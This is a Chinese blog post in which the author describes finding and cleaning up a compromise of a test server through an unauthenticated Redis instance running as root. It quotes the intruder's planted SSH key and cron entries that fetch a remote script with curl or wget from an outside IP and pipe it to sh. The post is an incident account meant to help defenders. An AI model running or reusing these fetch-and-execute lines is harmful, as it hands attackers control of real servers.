美文网首页
记一次被人通过redis对服务器的攻击

记一次被人通过redis对服务器的攻击

作者: 哆啦在这A梦在哪 | 来源:发表于2022-01-19 15:59 被阅读0次

记一次被人通过redis对服务器的攻击

1.在私服上登录redis,执行ping命令报出以下错误

[root@daVpMG221063 system]# redis-cli
127.0.0.1:6379> ping
(error) MISCONF Redis is configured to save RDB snapshots, but is currently not able to
persist on disk. Commands that may modify the data set are disabled. Please check Redis
 logs for details about the error.

意思是当前redis服务是以 RDB快照方式进行持久化,但是现在不能将数据持久化到硬盘,ping命令有可能修改数据(修改完数据后续将被持久化)因此这个命令不允许操作

2.通过日志查看错误详情

130960:M 24 Dec 09:24:56.087 * 1 changes in 900 seconds. Saving...
130960:M 24 Dec 09:24:56.087 * Background saving started by pid 117722
117722:C 24 Dec 09:24:56.092 # Failed opening the RDB file ntp (in server root dir /etc/cron.d)
 for saving: Permission denied
130960:M 24 Dec 09:24:56.188 # Background saving error

意思是在900秒内发生一次修改,触发持久化,但是不能打开RDB文件 /etc/cron.d/ntp 因此发生保存错误

3.登录本地redis,查看相关属性


127.0.0.1:6379> config get dir
1) "dir"
2) "/etc/cron.d"
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "ntp"

发现属性被修改。

因为是用于测试的私服,所以redis配置相当不安全。防火墙开发了6379端口,redis的配置中bind注释掉、requirepass注释掉、protected-mode no,相当于这个redis服务向全网开发

4.赶紧查看redis服务归属人,果然是root。那当时自己启动redis服务时,应该是用在root用户下使用 redis-server方式启动(如果是用systemctl start redis方式启动,归属人应该是redis,原因看另一篇文章)

[root@daVpMG221063 system]# ps -ef|grep redis
root      11249 116981  0 14:13 pts/0    00:00:00 grep --color=auto redis
root     130960      1  0 Dec17 ?        00:09:37 redis-server *:6379

5.既然被人做了手脚那就赶紧看 /root/.ssh目录下的 authorized_keys文件,果然被人添了公钥


[root@daVpMG221063 .ssh]# cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtl7EKcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UM
BpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueE
wVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwq
gk1B6LKoLHXWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E
0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever

那这个公钥的主人就能随时不用密码使用root账号登录到我的服务器了

6.这个人既然想在 /etc/cron.d下添加ntp文件,必定是要在我的服务器上添加定时器,进入/var/spool/cron目录果然看到一堆乱七八糟的文件,看下其中一个文件的内容


*/2 * * * * curl -fsSL http://122.51.164.83:7770/ash.sh | sh
*/4 * * * * curl -fsSL http://122.51.164.83:7770/ash.sh | sh
*/5 * * * * wget -q -O- http://122.51.164.83:7770/ash.sh | sh
*/3 * * * * wget -q -O- http://122.51.164.83:7770/ash.sh | sh

这是要定时去执行这个服务器上的脚本

7.现在要做的就是删除 authorized_keys文件里的内容,并且删除/etc/cron.d目录下的定时任务文件,然后为redis服务增加安全措施

删除authorized_keys文件内容时提示

-- INSERT -- W10: Warning: Changing a readonly file

查看文件属性,果然被设置过

[root@daVpMG221063 .ssh]# lsattr authorized_keys
----i--------e-- authorized_keys

想要使用 chattr 命令修改属性,报错 commond not found,使用whereis命令查看,果然/usr/bin/目录下的chattr文件被删除了,只能卸载重装了


 yum remove e2fsprogs
 yum install -y e2fsprogs
 chattr -i authorized_keys

所以说端口尽量不要随便开放,对应的用户名和密码也要设置好,免得被人恶意攻击。

相关文章

  • 记一次被人通过redis对服务器的攻击

    记一次被人通过redis对服务器的攻击 1.在私服上登录redis,执行ping命令报出以下错误 意思是当前red...

  • aliyun redis 攻击

    linux服务器安全—— 一次redis攻击的遭遇 记录一次redis入侵事件(无重大影响)

  • phpredis实现消息队列

    通过redis的消息对列提高聊天服务器的并发量 消息队列 1.保存数据到队列 $redis = new redis...

  • phpredis实现消息队列

    通过redis的消息对列提高聊天服务器的并发量 消息队列 1.保存数据到队列 $redis = new redis...

  • 网堤安全免费高防IP申请流程

    DDoS攻击是目前互联网中最常见的网络攻击方式之一,通过大量虚假流量对目标服务器进行攻击,堵塞网络耗尽服务器性能,...

  • redis数据库

    这一次主要是接着redis服务器接着进行代码讲解,因为redis服务器中包含大量的数据库,因为redis也对每个数...

  • Redis 事件

    Redis是事件驱动的服务器。事件是对操作的抽象,redis中的事件分为两类: 1)文件事件:redis通过soc...

  • 01-Redis内存统计

    通过redis-cli连接服务器后,通过info命令可以查看内存使用情况: info 命令可以查询redis服务器...

  • 防止CC攻击实战脚本

    最近有一台服务器的web服务器老是被人攻击导致网站访问特别慢,抓了下包看了下运来是cc攻击 那么什么是cc攻击呢?...

  • Redis系列-Redis客户端及Redis基本知识

    四、Redis客户端 Redis客户端是一个程序,通过网络连接到Redis服务器,从而实现跟 Redis服务器的交...

网友评论

      本文标题:记一次被人通过redis对服务器的攻击

      本文链接:https://www.haomeiwen.com/subject/dhlcvktx.html